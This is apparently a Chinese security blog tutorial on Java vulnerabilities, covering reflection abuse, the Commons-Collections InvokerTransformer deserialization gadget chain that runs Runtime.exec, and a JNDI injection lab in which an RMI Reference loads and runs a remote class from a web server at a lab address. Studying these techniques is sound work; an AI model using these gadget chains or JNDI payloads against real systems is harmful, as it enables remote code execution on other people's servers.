JAVA基础漏洞是如何自我修炼

原创 队员编号012 酒仙桥六号部队 6月1日

这是 **酒仙桥六号部队** 的第 **13** 篇文章。

全文共计3096个字，预计阅读时长9分钟。

练气期--反射篇

众所周知，气是修炼的基础即反射是java的其中的一个高级特性。正是因为反射的特性引出了后续的动态代理，AOP，RMI，EJB等功能及技术，在后续再来说下代理，RMI等及其漏洞原理吧，在之前先来看看反射所有的原理及漏洞，那么，在修炼初期应该注意什么问题呢？

俗话说万事开头难--什么是反射

JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意方法和属性；这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

在日常开发中，经常会遇到访问装载在JVM中类的信息，包括构造方法，成员变量，方法，或者访问一个私有变量，方法。

修炼进行时--反射方法

反射方法很多只列举部分重要的来说。

获取class的字节码对象

前面说到反射是对运行中的类进行查询和调用，所以首先我们需要获取运行类的对象，即字节码对象（可以看看JVM加载原理）。方式有三种来看看。

方式一：

Class.forName("类的字符串名称");

方式二：

简单类名加.class来获取其对应的Class对象；

方式三：

Object类中的getClass()方法的。

三种区别主要是调用者不同，以及静态和动态区别（java是依需求加载，对于暂时不用的可以不加载）。

获取构造函数

getConstructors()//获取所有公开的构造函数

getConstructor(参数类型)//获取单个公开的构造函数

getDeclaredConstructors()//获取所有构造函数

getDeclaredConstructor(参数类型)//获取一个所有的构造函数

获取名字

可以反射类名。

getName()//获取全名　例如：com.test.Demo

getSimpleName()//获取类名 例如：Demo

获取方法

getMethods()//获取所有公开的方法

获取字段

getFields()//获取所有的公开字段

getField(String name)//参数可以指定一个public字段

getDeclaredFields()//获取所有的字段

getDeclaredField(String name)//获取指定所有类型的字段

设置访问属性

默认为false，设置为true之后可以访问私有字段。

Field.setAccessible(true)//可访问

Field.setAccessible(false)//不可访问

以及Method类的invoke方法

invoke(Object obj, Object... args) //传递object对象及参数调用该对象对应的方法

打怪修炼—实战示例

来看一个简单的反射案例，可以执行运行计算器命令。

```
public static void main(String args[]) throws ClassNotFoundException, NoS

        Class cls=Class.forName("java.lang.Runtime");
        Method getruntime=cls.getMethod("getRuntime", null);
        Object runtime=getruntime.invoke(null);
        Method exec=cls.getMethod("exec",String.class);
        exec.invoke(runtime, "calc");

}
```

通过Class.forName获取字节码对象，调用getMethod获取到Runtime的getRuntime方法，用invoke执行方法，最后同样的执行exec方法执行calc命令。

说到这，大家都熟悉，那么具体的反射漏洞有哪些，我们来看看。

反射攻击

通过反射来突破单例模式

我们知道单例模式的特点就是单例类只能有一个实例，但是不好的代码就可以突破单例限制，比如：

```
public class MySingleton {
    private static MySingleton singleton = null;
    private MySingleton() {
    }
    public static synchronized MySingleton getSingleton() {
        if( singleton == null ){
            singleton = new MySingleton();
        }

        return singleton;
    }
}
```

```
        MySingleton singleton1=MySingleton.getSingleton();
        MySingleton singleton2=MySingleton.getSingleton();
        System.out.println(singleton1.toString());
        System.out.println(singleton2.toString());
}
```

运行结果：

```
<terminated> ClassLoaderTest [Jav
MySingleton@33909752
MySingleton@33909752
```

私有的构造方法，类变量，可以看出代码实现了单例的要求，new的时候没有创建对象，就新建，有的话就返回这个对象，但是通过反射（反序列化也可以突破，这里只说反射）可以直接调用private方法创建实例。

```
Constructor<MySingleton> constructor=MySingleton.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
MySingleton singleton1= constructor.newInstance();
MySingleton singleton2= constructor.newInstance();
System.out.println(singleton1.toString());
System.out.println(singleton2.toString());
```

运行结果：

```
MySingleton@33909752
MySingleton@55f96302
```

所以我们要在构造方法的时候就要判断是不是已经创建过对象，如果有就主动抛出异常。

```
class MySingleton {
    private static MySingleton singleton = null;
    private MySingleton() {
        if (singleton != null) {
            throw new RuntimeException();
        }
    }
    public static synchronized MySingleton getSingleton() {
        if( singleton == null ){
            singleton = new MySingleton();
        }

        return singleton;
    }
}
```

突破瓶颈---通过反射来突破泛型限制

我们知道泛型的特点就是明确规范参数使用的类型，但是不好的代码就可以突破单例限制。

```
List<Integer> list = new ArrayList<Integer>();
list.add("123");
```

就会抛出异常。

```
Exception in thread "main" java.lang.Error: Unresolved compilation problem:
	The method add(Integer) in the type List<Integer> is not applicable for the arguments (String)

	at MySingleton.addString(MySingleton.java:11)
	at MySingleton.main(MySingleton.java:7)
```

同样的我们可以通过反射：

```
class MySingleton {
    public static void main(String args[]) throws Exception {
        addString();
     }
    public static void addString() throws Exception {
        Object obj =null;
        List<Integer> list = new ArrayList<Integer>();
        list.add(10);
        Class clazz = list.getClass();
        Method method = clazz.getMethod( "add", Object.class );

        obj = method.invoke( list, "str1" );
        obj = method.invoke( list, "str2" );

        for(Object i : list) {
            System.out.println("val:"+i);
        }
    }
```

结果如下。

```
val:10
val:str1
val:str2
```

这种我们就需要添加黑名单来禁止反射，当然也可以绕过。

利用反射链的序列化漏洞

以前我们经常能看见这种构造的序列化漏洞的文章。

先来看看部分实现代码：

```
1  Transformer[] transformers = new Transformer[] {
2
3  new ConstantTransformer(Runtime.class),
4
5  new InvokerTransformer(
6
7  "getMethod",
8
9  new Class[] {String.class, Class[].class },
10
11 new Object[] {"getRuntime", new Class[0] }
12
13 ),
```

```
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { commandstring }
//new Object[] { execArgs }
)
};
```

下面是InvokerTransformer类的transform方法的源码。

```
public O transform(Object input)
{
  if (input == null) {
    return null;
  }
  try
  {
    Class<?> cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
  }
  catch (NoSuchMethodException ex)
  {
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
  }
  catch (IllegalAccessException ex)
  {
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  }
  catch (InvocationTargetException ex)
  {
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  }
}
```

战后总结分析：

```
Object[] argss=new Object[]{"getRuntime",null};

Method mm=(Method)Runtime.class.getClass().getMethod("getMethod", new Cla
{String.class,Class[].class}).invoke(Runtime.class, argss);
```

相当于执行了：

```
Method mm=Runtime.class.getMethod("getRuntime", null);
```

```
Runtime rr=(Runtime) mm.getClass().getMethod("invoke", new Class[]
{Object.class,Object[].class}).invoke(mm,new Object[] {null,null} );
```

相当于执行了：

```
mm.invoke();
```

```
rr.getClass().getMethod("exec", new Class[] {String.class}).invoke(rr, "
```

相当于执行了rr.exec("calc"); //rr已经是Runtime对象了，而不是Runtime类。

ConstantTransformer在初始化的时候放入里面的一个final变量中，transform(任意Object)都会返回那个变量。

利用jd-gui来看一下ChainedTransformer的源码。

```
public class ChainedTransformer
  implements Transformer, Serializable
{
  private static final long serialVersionUID = 3514945074733160196L;
  private final Transformer[] iTransformers;
```

```
  public ChainedTransformer(Transformer[] transformers)
  {
    this.iTransformers = transformers;
  }

  public Object transform(Object object)
  {
    for (int i = 0; i < this.iTransformers.length; i++) {
      object = this.iTransformers[i].transform(object);
    }
    return object;
  }

  public Transformer[] getTransformers()
  {
    return this.iTransformers;
  }
}
```

那么就可以利用这一点，进行反射，反射代码如下：

```
Transformer[] transformer=new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}),

new InvokerTransformer("invoke", new Class[]
{Object.class,Object[].class}, new Object[] {null,null}),

new InvokerTransformer("exec", new Class[] {String.class}, new
Object[] {"calc.exe"})

};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformer

chainedTransformer.transform(Object.class);
```

事实上，前面说了ConstantTransformer的特点，所有最后执行的Object.class可以为任何Object，比如null，new Object()。

这里进行调用了transform方法，如何才能不通过调用transform方法执行反射链呢？

我们就要找到实现本身实现tranform的方法。

经过查找发现：

AbstractInputCheckedMapDecorator类下：

```
    /

    public Object setValue(Object value)
    {
      value = this.parent.checkSetValue(value);
      return this.entry.setValue(value);
    }
  }
```

TransformedMap类下：

```
  protected Object checkSetValue(Object value)
  {
    return this.valueTransformer.transform(value);
  }
```

```
public Object setValue(Object object) {
    if(valueTransformer!=null) {
        object =valueTransformer.transform(object);
    }
    return entry.setValue(object);
}
```

所以我们要控制valueTransformer的值为ChainTransformer对象，找到这个值的赋值点。

```
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
{
  return new TransformedMap(map, keyTransformer, valueTransformer);
}
```

```
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)
{
  super(map);
  this.keyTransformer = keyTransformer;
  this.valueTransformer = valueTransformer;
}
```

所以我们要实现这个链环，就要满足基本条件，先

```
Map mp=new HashMap();

mp.put("ok", "notok"); //为什么赋值是因为要用到setValue

//这里decorate是静态方法，直接使用

Map dd=TransformedMap.decorate(mp, null, chainedTransformer);

//用过Entry来获取键值对，将Map通过entry放入Set集合，然后用迭代器迭代

Map.Entry entry=(Entry) dd.entrySet().iterator().next();

//更改其中的值，达到目标

entry.setValue("ok");

//这里绕过黑名单，利用已知类的反射链，获取反射的方法，最后反射可以利用序列化达到目的。
```

金丹期--反序列化篇

Java 的序列化是把 Java 的对象转换为jvm可以识别的字节序列的过程，方便于存在文件，jvm内存，网络的传输等。

常见的ObjectOutputStream类的 writeObject() 方法可以实现序列化的功能。而反序列化是指把字节序列重新恢复成 Java 对象，反序列化用ObjectInputStream 类的 readObject() 方法。

知己知彼之什么是序列化，反序列化

```
import java.io.Serializable;

public class Book implements Serializable{
        public String name;
        public String price;
        public void sayhi()
        {
            System.out.println("This is "+this.name+" book");
        }
}
```

```
class MySingleton  implements Serializable{

      public static void main(String[] args) throws IOException, ClassNotFoundException {
            Book book = new Book();
            book.name = "book1";

            FileOutputStream out = new FileOutputStream("fiel1");
            ObjectOutputStream objout = new ObjectOutputStream(out);
            objout.writeObject(book);
            objout.close();
            FileInputStream in = new FileInputStream("fiel1");
            ObjectInputStream objin = new ObjectInputStream(in);
            Book Sbook = (Book)objin.readObject();
            Sbook.sayhi();

            objin.close();
      }
```

结果如下:

```
This is book1 book
```

这就是序列化和反序列化的过程。

金丹实战--反序列化漏洞示例

```
class MySingleton  implements Serializable{
     private  void readObject(java.io.ObjectInputStream stream)
             throws IOException, ClassNotFoundException{
         System.out.println("这个readObject被寄生");
     }

     public static void main(String[] args) throws IOException, ClassNotFoundException {
         byte[] serial=serialize(new MySingleton());
         deserial(serial);
     }

     public static byte[] serialize(final Object obj) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         ObjectOutputStream objOut = new ObjectOutputStream(out);
         objOut.writeObject(obj);
         return out.toByteArray();
     }

     public static Object deserial(final byte[] serialize) throws IOException, ClassNotFoundException {
          ByteArrayInputStream in = new ByteArrayInputStream(serialize);
          ObjectInputStream objectIn = new ObjectInputStream(in);
          return objectIn.readObject();
     }
}
```

实战结果

```
这个readObject被寄生
```

很显然在实现自己的readObject方法，反序列化后readObject正好被利用，触发恶意代码。反序列化利用的方式很多。

JNDI注入

已有多位前辈修炼至此境界，吾将在此吸取前人经验，不便在此过多停留。

JNDI漏洞原理：在lookup参数可控的情况下，我们传入Reference类型及其子类的对象，当远程调用类的时候默认首先会在rmi的服务器中的classpath中去查找，如果不存在对应的class，就会去提供的url地址去加载类。如果都加载不到的话就会失败。

元婴期实战演练！！！

JNDI这里我们先搭建一个Registry

Server:

```
Registry registry = LocateRegistry.createRegistry(4399);

Reference rf = new Reference("ExecTest", "ExecTest", "http://172.20.10.2:8000/");//ExecTest.class

ReferenceWrapper refObjWrapper = new ReferenceWrapper(rf);

registry.bind("rf", refObjWrapper);
```

Reference中写好自己的要执行payload的class对象名称，以及对应开启的web服务，然后绑定在registry中。

ExecTest:

```
static {
    String cmd="ipconfig";
    Process process=null;
    try {
        process = Runtime.getRuntime().exec(cmd);
    } catch (IOException e) {
        e.printStackTrace();
    }
    typeIt(process.getInputStream());;
    typeIt(process.getErrorStream());
}
private static void typeIt(final InputStream input) {
    new Thread (new Runnable() {
        public void run() {
            Reader reader =new InputStreamReader(input);
            BufferedReader bf = new BufferedReader(reader);
            String line = null;
            try {
                while ((line=bf.readLine())!=null)
                {
                    System.out.println(line);
                }
            }catch (IOException  e){
                e.printStackTrace();
            }
        } }).start();
```

这里写入自己payload，我用的静态块，方便执行。

```
D:\eclipse\eclipse-workspace\JNDIinjection\src>javac -source 1.5 -target 1.5 ExecTest.java
warning: [options] bootstrap class path not set in conjunction with -source 1.5
warning: [options] source value 1.5 is obsolete and will be removed in a future release
warning: [options] target value 1.5 is obsolete and will be removed in a future release
warning: [options] To suppress warnings about obsolete options, use -Xlint:-options.
4 warnings
```

用javac -source 1.5 -target 1.5 ExecTest.java编译成1.5jdk版本支持的ExecTest.class字节码文件，有一些警告信息提示1.5版本在未来版本被移除，忽略掉。

为了保证是真的成功，要把对应下的bin/ExecTest.class文件给删除掉，前面说了，JNDI会先加载本地的class文件，所以需要先删除对应的class文件，确保是真的远程加载。

我这里把编译的文件放入D盘，开启Web服务。

Client：

```
String uri = "rmi://172.20.10.2:4399/rf";
Context ctx = new InitialContext();
ctx.lookup(uri);
```

启动好Server，运行Client，可以看见如下：

```
D:\>python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.20.10.2 - - [17/May/2020 14:04:17] "GET /ExecTest.class HTTP/1.1" 200 -
172.20.10.2 - - [17/May/2020 14:04:17] "GET /ExecTest$1.class HTTP/1.1" 200 -
```

远程加载ExecTest.class文；

```
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest]
        at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:437)
        at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:99)
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:185)
        at javax.naming.InitialContext.lookup(InitialContext.java:351)
        at CLIENT.main(CLIENT.java:15)
Caused by: java.lang.ClassCastException: ExecTest
        at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:146)
        at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:302)
        at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:429)
        ... 4 more

Windows IP Configuration


Ethernet adapter 以太网:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter 以太网 6:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter vEthernet (Default Switch):
```

成功执行命令。

但是看见要求必须是1.6以下的版本，后面的版本都对其进行限制，有限制就有绕过，对应的，默认不允许从远程的Codebase加载Reference工厂类，就可以添加如下代码，将

com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodebase两个属性值设置为true。

```
    //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
    //System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");

    String uri = "rmi://172.20.10.2:4399/rf";
    Context ctx = new InitialContext();
    ctx.lookup(uri);
```

还有LDAP + JNDI请求LDAP地址来突破限制，利用LDAP反序列化执行本地Gadget来绕过等。

金丹期修炼时--序列化这里，java以rmi（java以rpc为基础的java技术）为根基来衍生更多，比如熟悉的EJB，为了使用其他语言，使用Web服务；实现与平台无关，又使用了SOAP协议。而Weblogic在RMI上的实现使用了T3协议等等。所以了解RMI，了解java基础漏洞的自我修炼，只有知己知彼，才能百战百胜。

修炼永无止尽，万物皆是如此，需屏气凝神方能比其更为强大，以至于交手时不落于下风。

知其黑 守其白

分享知识盛宴，闲聊大院趣事，备好酒肉等你

长按二维码关注 酒仙桥六号部队